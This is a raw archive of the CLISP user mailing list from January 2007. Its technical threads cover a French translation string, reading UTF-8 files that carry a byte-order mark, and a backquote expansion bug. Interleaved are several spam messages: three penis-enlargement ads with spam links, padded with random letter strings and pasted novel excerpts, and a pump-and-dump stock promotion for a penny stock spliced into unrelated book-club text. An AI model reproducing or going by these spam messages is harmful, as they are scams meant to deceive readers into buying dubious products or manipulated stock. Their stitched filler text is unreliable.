X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] po/fr.po error X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Jan 2007 02:15:53 -0000 Sam Steingold writes: > > * Pascal Bourguignon [2007-01-04 09:53:18 +01= 00]: > > > > In src/po/fr.po: > > > > #: lisparit.d:1608 > > #, fuzzy, lisp-format > > msgid "~S: the value of ~S should be a ~S, not ~S" > > msgstr "~S : La valeur de ~S devrait =EAtre un =ABrandom-state=BB et = non ~S." > > > > should be: > > > > #: lisparit.d:1608 > > #, fuzzy, lisp-format > > msgid "~S: the value of ~S should be a ~S, not ~S" > > msgstr "~S : La valeur de ~S devrait =EAtre un ~S et non ~S." > > > > > > I've not checked, perhaps a similar change is needed in othe other > > languages too... >=20 > if you look at the messages around that one, you will see that just > about everything is broken. > one has to go through the whole file and fix it. > do you volunteer to do that? > (if you do, your name will be immortalized in clisp/src/ChangeLog :-) I might, but not right now. I need to find a new (preferably lisp) job n= ow. ;-) --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "I have challenged the entire quality assurance team to a Bat-Leth contest. They will not concern us again." From reini.urban@gmail.com Tue Jan 09 09:54:48 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H4LBQ-0000oM-CR for clisp-list@lists.sourceforge.net; Tue, 09 Jan 2007 09:54:48 -0800 Received: from ug-out-1314.google.com ([66.249.92.169]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H4LBP-00032U-Uu for clisp-list@lists.sourceforge.net; Tue, 09 Jan 2007 09:54:48 -0800 Received: by ug-out-1314.google.com with SMTP id z38so6592601ugc for ; Tue, 09 Jan 2007 09:54:46 -0800 (PST) Received: by 10.67.21.11 with SMTP id y11mr23343474ugi.1168365286072; Tue, 09 Jan 2007 09:54:46 -0800 (PST) Received: by 10.66.252.14 with HTTP; Tue, 9 Jan 2007 09:54:46 -0800 (PST) Message-ID: <6910a60701090954q30aa6f55kffaa16787e3dcba@mail.gmail.com> Date: Tue, 9 Jan 2007 18:54:46 +0100 From: "Reini Urban" Sender: reini.urban@gmail.com To: clisp-list@lists.sourceforge.net In-Reply-To: <459C0A5E.2010905@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <459C0A5E.2010905@gnu.org> X-Google-Sender-Auth: 61581a0a848278a8 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] -modern and (defpackage ... (:modern ...)) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Jan 2007 17:54:48 -0000 2007/1/3, Sam Steingold : > Should the "-modern" command line option make (:modern t) default for > defpackage? > any "-modern" users out there? I was trying win32 with modern but I need some time to catch up after my holidays. -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://spacemovie.mur.at/ http://helsinki.at/ From Maystrenko@humberson.com Tue Jan 09 19:57:50 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H4Uay-0007Od-VZ for clisp-list@lists.sourceforge.net; Tue, 09 Jan 2007 19:57:50 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H4Uax-000567-PC for clisp-list@lists.sourceforge.net; Tue, 09 Jan 2007 19:57:48 -0800 Received: from adsl-153-45-112.mia.bellsouth.net ([72.153.45.112]) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1H4Uaw-0005kY-SE for clisp-list@lists.sourceforge.net; Tue, 09 Jan 2007 19:57:47 -0800 Message-ID: <52d501c7346b$1a3d39f0$702d9948@adsl-153-45-112.mia.bellsouth.net> From: "Naseem Roman" To: "Moen David" Date: Wed, 10 Jan 2007 03:54:56 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 HELO_DYNAMIC_DHCP Relay HELO'd using suspicious hostname (DHCP) 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Are you still with short Johnson? ;-) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Jan 2007 03:57:50 -0000 Salute man Don't tell me why your woody is so small, I will better help you to make it really Bigger! Why bigger? Because over 85% of all women need a longer thing to satisfy their desire! Go there and get your solution: http://www.promotres.com It'll really help you! We will ship it worldwide within 24 hours, and if you find our product useless - we'll refund all your money! -- qqtutgtmurtfqrutuptmtgsluqugtptttnqhttugtpshrhrmrkrqsmrgrhnlrmrusu bjeriowhwioefjsdlkgjghdf forehead and the Procurator looked the High Priest straight in the eye with amazement. 'I confess that your reply surprises me,' began the Procurator softly. ' I fear there may have been some misunderstanding here.' Pilate stressed that the Roman government wished to make no inroads into the prerogatives of the local priestly authority, the High Priest was well aware of that, but in this particular case an obvious error seemed to have occurred. And the Roman government naturally had an interest in correcting such an error. The crimes of Bar-Abba and Ha-Notsri were after all not comparable in gravity. If the latter, a man who was clearly insane, From Mitchell@haafwayhome.com Thu Jan 11 22:22:03 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H5Fne-0006fd-RJ for clisp-list@lists.sourceforge.net; Thu, 11 Jan 2007 22:22:02 -0800 Received: from aayl62.neoplus.adsl.tpnet.pl ([83.6.123.62]) by mail.sourceforge.net with smtp (Exim 4.44) id 1H5Fne-0004Ii-2a for clisp-list@lists.sourceforge.net; Thu, 11 Jan 2007 22:22:02 -0800 Message-ID: <125601c73611$042878d0$3e7b0653@aayl62.neoplus.adsl.tpnet.pl> From: "Hernandez Ser" To: "Clark Lucy" Date: Fri, 12 Jan 2007 06:19:27 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [83.6.123.62 listed in combined.njabl.org] Subject: [clisp-list] 5 Inches is not enough X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Jan 2007 06:22:03 -0000 Hello Man I don't care why your Johnson is so small, but 78% of women do. They are pretty sure that bigger woody will make their desire stronger. You have the chance to change your life. Here http://maislogo.com you can get the thing. It will help you for sure. The remedy can be sent worldwide. If you wont be satisfied - we will return all you money. No bullshit. -- ptupuluhtutsqiuiroshsltirnrrsksisqnmsorjsosursrpslstrfsjsgoqsnshrr cvmbnwespqkrxmgrgdlgkjgs perch either--what about the snipe, the woodcock in season, the quail, the grouse? And the sparkling wines! But I digress, reader. At half past ten on the evening that Berlioz died at Patriarch's Ponds, only one upstairs room at Griboyedov was lit. In it sat twelve weary authors, gathered for a meeting and still waiting for Mikhail Alexandrovich. Sitting on chairs, on tables and even on the two window ledges, the management committee of MASSOLIT was suffering badly from the heat and stuffiness. Not a single fresh breeze penetrated the open window. Moscow was The Master and Margarita exuding the heat of the day accumulated in its asphalt and it was From lisp-clisp-list@m.gmane.org Sat Jan 13 05:35:21 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H5j2W-0000zS-Qp for clisp-list@lists.sourceforge.net; Sat, 13 Jan 2007 05:35:21 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H5j2T-0007JA-Vj for clisp-list@lists.sourceforge.net; Sat, 13 Jan 2007 05:35:20 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1H5j2E-0007xO-Jw for clisp-list@lists.sourceforge.net; Sat, 13 Jan 2007 14:35:02 +0100 Received: from 85-194-229-145.wlannet.com ([85.194.229.145]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 13 Jan 2007 14:35:02 +0100 Received: from pekka.niiranen by 85-194-229-145.wlannet.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 13 Jan 2007 14:35:02 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Pekka Niiranen Date: Sat, 13 Jan 2007 15:30:14 +0200 Lines: 52 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 85-194-229-145.wlannet.com User-Agent: Thunderbird 1.5.0.9 (Windows/20061207) Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] UTF-8 BOM problem with clisp-2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Jan 2007 13:35:21 -0000 Hi, I have two files with similar text in them: First line Sec line 3rd line First file is saved as "UTF16-LE" with BOM and I read one line from it like this: (with-open-file (stream "/home/pekka/practicalcl/test_utf16.txt" :external-format "utf-16") (format t "~a~%" (read-line stream))) First line NIL All fine. But when I save the file in "UTF-8" with BOM I get this: CL-USER> (with-open-file (stream "/home/pekka/practicalcl/test_utf8.txt" :external-format "utf-8") (format t "~a~%" (read-line stream))) First line # Note here the extra blank. Pekka. NIL Another try fails too: CL-USER> (with-open-file (stream /home/pekka/practicalcl/test_utf8.txt") (format t "~a~%" (read-line stream))) CFirst line First line # Note here the extra "C". Pekka. NIL How can I read "UTF-8" file so that BOM is not processed IF it exists? Fraction of my .emacs: ----------------- .emacs ------------------------------- ;;;; SLIME Setup (add-to-list 'load-path "C:/home/pekka/slime/") (set-language-environment "UTF-8") (setq slime-net-coding-system 'utf-8-unix) (require 'slime) (slime-setup :autodoc t) (setq common-lisp-hyperspec-root "file://C:/home/pekka/HyperSpec/") (setq inferior-lisp-program "C:/bin/clisp-2.41/clisp.exe -I -q -K full -E utf-8") ------------------------------------------------ -pekka- From Ahmed@absinthe-online.com Sun Jan 14 01:25:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H61cf-0001AQ-Ro for clisp-list@lists.sourceforge.net; Sun, 14 Jan 2007 01:25:53 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H61ce-0007UK-Iq for clisp-list@lists.sourceforge.net; Sun, 14 Jan 2007 01:25:53 -0800 Received: from [72.54.44.30] (helo=[72.54.44.30]) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1H61cS-0001RB-OP for clisp-list@lists.sourceforge.net; Sun, 14 Jan 2007 01:25:43 -0800 Message-ID: <595701c737bd$21666491$1e2c3648@[72.54.44.30]> From: "Azab Nenad" To: "Patrick Benny" Date: Sun, 14 Jan 2007 09:25:33 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.8 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] [re:] size your sausage! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 14 Jan 2007 09:25:54 -0000 YO Buddy I don't care why your weenie is so small, but 88% of women do. They are pretty sure that bigger meat will make their desire stronger. You have the chance to change your life. Here http://www.kidtechtools.com you can get the thing. It will help you for sure. The remedy can be sent worldwide. If you wont be satisfied - we will return all you money. No bullshit. -- kufqfkfigngrjffhflfifkihgugsflfhfjklfpgkftftgtgqgotuuitktlpptqtiui dfkjghwenflgkdwdfwkjgghs don't you? Don't take those telegrams.' 'So you refuse to stop this game do you? ' shouted the house manager in a rage. ' Now listen to me--you're going to pay for this!' He went on shouting threats but stopped when he realised that no one was listening to him on the other end. At that moment his office began to darken. Varenukha ran out, slammed the door behind him and went out into the garden through the side door. He felt excited and full of energy. After that last insolent telephone call he no longer had any doubt that some gang of hooligans was playing some nasty practical joke and that the joke was connected with Likhodeyev's From sds@gnu.org Sun Jan 14 07:10:05 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H66zl-00011d-EX for clisp-list@lists.sourceforge.net; Sun, 14 Jan 2007 07:10:05 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H66zb-0003We-2G for clisp-list@lists.sourceforge.net; Sun, 14 Jan 2007 07:10:02 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JBV002QY64CND60@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 14 Jan 2007 10:09:49 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id AAC7C21E074; Sun, 14 Jan 2007 10:09:48 -0500 (EST) Date: Sun, 14 Jan 2007 10:09:48 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Pekka Niiranen Mail-followup-to: clisp-list@lists.sourceforge.net, Pekka Niiranen Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] UTF-8 BOM problem with clisp-2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 14 Jan 2007 15:10:05 -0000 > * Pekka Niiranen [2007-01-13 15:30:14 +0200]: > > But when I save the file in "UTF-8" with BOM I get this: CLISP does not support BOM. please save your file with plain UTF-8. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://memri.org http://pmw.org.il http://palestinefacts.org http://camera.org http://dhimmi.com http://openvotingconsortium.org http://truepeace.org Linux: Telling Microsoft where to go since 1991. From pekka.niiranen@wlanmail.com Mon Jan 15 10:54:53 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H6Wyq-0000D0-RZ for clisp-list@lists.sourceforge.net; Mon, 15 Jan 2007 10:54:53 -0800 Received: from www.wlanmail.com ([85.194.193.120] helo=mail.wlanmail.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H6Wyp-0007fM-6K for clisp-list@lists.sourceforge.net; Mon, 15 Jan 2007 10:54:52 -0800 Received: (qmail 1961 invoked from network); 15 Jan 2007 18:54:34 -0000 Received: from 85-194-229-177.wlannet.com (HELO ?127.0.0.1?) (85.194.229.177) by www.wlanmail.com with SMTP; 15 Jan 2007 18:54:34 -0000 Message-ID: <45ABCE48.4010809@wlanmail.com> Date: Mon, 15 Jan 2007 20:56:08 +0200 From: Pekka Niiranen User-Agent: Thunderbird 1.5.0.9 (Windows/20061207) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] UTF-8 BOM problem with clisp-2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 15 Jan 2007 18:54:53 -0000 Sam Steingold wrote: >> * Pekka Niiranen [2007-01-13 15:30:14 +0200]: >> >> But when I save the file in "UTF-8" with BOM I get this: > > CLISP does not support BOM. > please save your file with plain UTF-8. > Thank you for your answer. Sadly I cannot remove BOM but I will try to "strip" it if the line starts with it as I do in the Python program I am trying to convert into Lisp: # Strip the BOM from the beginning of the Unicode string, if it exists u.lstrip( unicode( codecs.BOM_UTF8, "utf8" ) ) Another issue: I am reading "Practical Common Lisp" and in "chapter 15" it speaks about "quirks" in Clisp's design when it comes in listing directories. As a beginner, I find it bad publicity for Clisp. Furthermore, I would like to see Clisp being ported into latest OpenBSD too. Any comments? -pekka- From sds@gnu.org Mon Jan 15 12:36:59 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H6YZe-0002hW-VQ for clisp-list@lists.sourceforge.net; Mon, 15 Jan 2007 12:36:59 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H6YZc-0006cY-GJ for clisp-list@lists.sourceforge.net; Mon, 15 Jan 2007 12:36:58 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JBX00JJ8FXESM00@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 15 Jan 2007 15:36:50 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 3368721E074; Mon, 15 Jan 2007 15:36:50 -0500 (EST) Date: Mon, 15 Jan 2007 15:36:50 -0500 From: Sam Steingold In-reply-to: <45ABCE48.4010809@wlanmail.com> To: clisp-list@lists.sourceforge.net, Pekka Niiranen Mail-followup-to: clisp-list@lists.sourceforge.net, Pekka Niiranen Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <45ABCE48.4010809@wlanmail.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] UTF-8 BOM problem with clisp-2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 15 Jan 2007 20:36:59 -0000 > * Pekka Niiranen [2007-01-15 20:56:08 +0200]: > > Another issue: I am reading "Practical Common Lisp" > and in "chapter 15" it speaks about "quirks" in Clisp's design > when it comes in listing directories. > As a beginner, I find it bad publicity for Clisp. "there is no such thing as bad publicity" :-) > Furthermore, I would like to see Clisp being ported into > latest OpenBSD too. Any comments? I am not aware of any problems. CLISP front page links to the OpenBSD port. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://dhimmi.com http://openvotingconsortium.org http://truepeace.org http://thereligionofpeace.com http://mideasttruth.com http://palestinefacts.org Live Lisp and prosper. From kkylheku@gmail.com Tue Jan 16 23:49:52 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H75YO-0007wb-KO for clisp-list@lists.sourceforge.net; Tue, 16 Jan 2007 23:49:52 -0800 Received: from an-out-0708.google.com ([209.85.132.249]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H75YN-0005Of-D4 for clisp-list@lists.sourceforge.net; Tue, 16 Jan 2007 23:49:52 -0800 Received: by an-out-0708.google.com with SMTP id d40so545485and for ; Tue, 16 Jan 2007 23:49:50 -0800 (PST) Received: by 10.100.120.5 with SMTP id s5mr3513071anc.1169020190198; Tue, 16 Jan 2007 23:49:50 -0800 (PST) Received: by 10.100.8.3 with HTTP; Tue, 16 Jan 2007 23:49:50 -0800 (PST) Message-ID: <3f43f78b0701162349o5accb221qee6eff5104fff286@mail.gmail.com> Date: Tue, 16 Jan 2007 23:49:50 -0800 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Backquote bug, would you believe it. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Jan 2007 07:49:53 -0000 Hi guys, I have only CLISP 2.38 installed here, sorry, but I will try it on the latest version at the soonest opportunity. ;;; good: ``((,@(quote ,(list 1)))) --> '((1)) ;;; now add another ,@ and watch bizarre screwup: ``((,@(quote ,(list 1)) ,@(list 2))) --> (LIST (LIST (QUOTE) '(LIST 1) 2)) (macroexpand-1 '``((,@(quote ,(list 1)) ,@(list 2)))) --> `(LIST (LIST 'SYSTEM::UNQUOTE '(LIST 1) 2)) It appears to be related to system::*backquote-optimize-append*. When this is reset to NIL, you get this: ``((,@(quote ,(list 1)) ,@(list 2))) --> (LIST (APPEND '(1) (LIST 2))) which is fine. From thomas@buschler.de Thu Jan 18 05:58:07 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H7XmJ-0007Dw-Ex for clisp-list@lists.sourceforge.net; Thu, 18 Jan 2007 05:58:07 -0800 Received: from [71.194.106.66] (helo=c-71-194-106-66.hsd1.il.comcast.net) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H7XmH-0002jd-P7 for clisp-list@lists.sourceforge.net; Thu, 18 Jan 2007 05:58:07 -0800 Received: from 134.98.94.122 (HELO mail.buschler.de) by lists.sourceforge.net with esmtp (/7343GL9, /2L)4) id E+ X-Mailer: The Bat! (v3.5) UNREG / CD5BF9353B3B7091 X-Priority: 3 (Normal) Message-ID: <347724100.94452987516168@thebat.net> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 8bit X-Spam: Not detected X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Explain what a short seller is on the hook for in regards to dividends, rights, etc. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Jan 2007 13:58:07 -0000 But before you do anything -- ENLIST OTHERS TO HELP YOU answer the questions, 1.Please describe briefly: (1) the format of the program; and (2) the participants' reactions to and discussion of the book, most people find that they get much more out of the programs and are better able to participate in the discussions when they have read the books. Eventually, Get HXPN First Thing TODAY, Thursday 18th. This Is Going To Explode! Check out for HOT NEWS!!! The alert is ON!! Harris Exploration, Inc. (HXPN.PK) CURRENT_PRICE: $1.63 GET IT NOW! HXPN News: Harris Exploration, Inc. (PINKSHEETS: HXPN) is pleased to announce the appointment of a new Director and President of Harris Exploration, Inc Please use your brokerage site to read the full news on this exciting company. This gives you adequate time to publicize the series and to order books if needed.Make people comfortable: be sure everyone can see and hear everyone else and that they know each others' names (name tags are very helpful). They will be more receptive to your news releases and announcements, DESIGNATE AT LEAST TWO DISCUSSION LEADERS two or more weeks readers are interested in information about the author; the place of the book in the author's personal and professional life; the reception of the book and its social-political context; highlights (what you find especially intriguing) of the book's style, its grants are regarded primarily as "seed" money to help introduce libraries and communities to these programs. From Joerg-Cyril.Hoehle@t-systems.com Fri Jan 19 10:53:43 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H7yrv-0003yO-2u for clisp-list@lists.sourceforge.net; Fri, 19 Jan 2007 10:53:43 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H7yrs-0002yU-IE for clisp-list@lists.sourceforge.net; Fri, 19 Jan 2007 10:53:43 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 19 Jan 2007 19:20:41 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by s4de8psaans.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 19 Jan 2007 19:20:41 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Fri, 19 Jan 2007 19:20:38 +0100 Message-Id: In-Reply-To: <3f43f78b0701162349o5accb221qee6eff5104fff286@mail.gmail.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Backquote bug, would you believe it. Thread-Index: Acc6DBhaar60bUmfQyO3NrBfOZHYRgB6cI4g From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 19 Jan 2007 18:20:41.0328 (UTC) FILETIME=[86D26F00:01C73BF6] X-Spam-Score: 0.0 (/) X-Spam-Report: 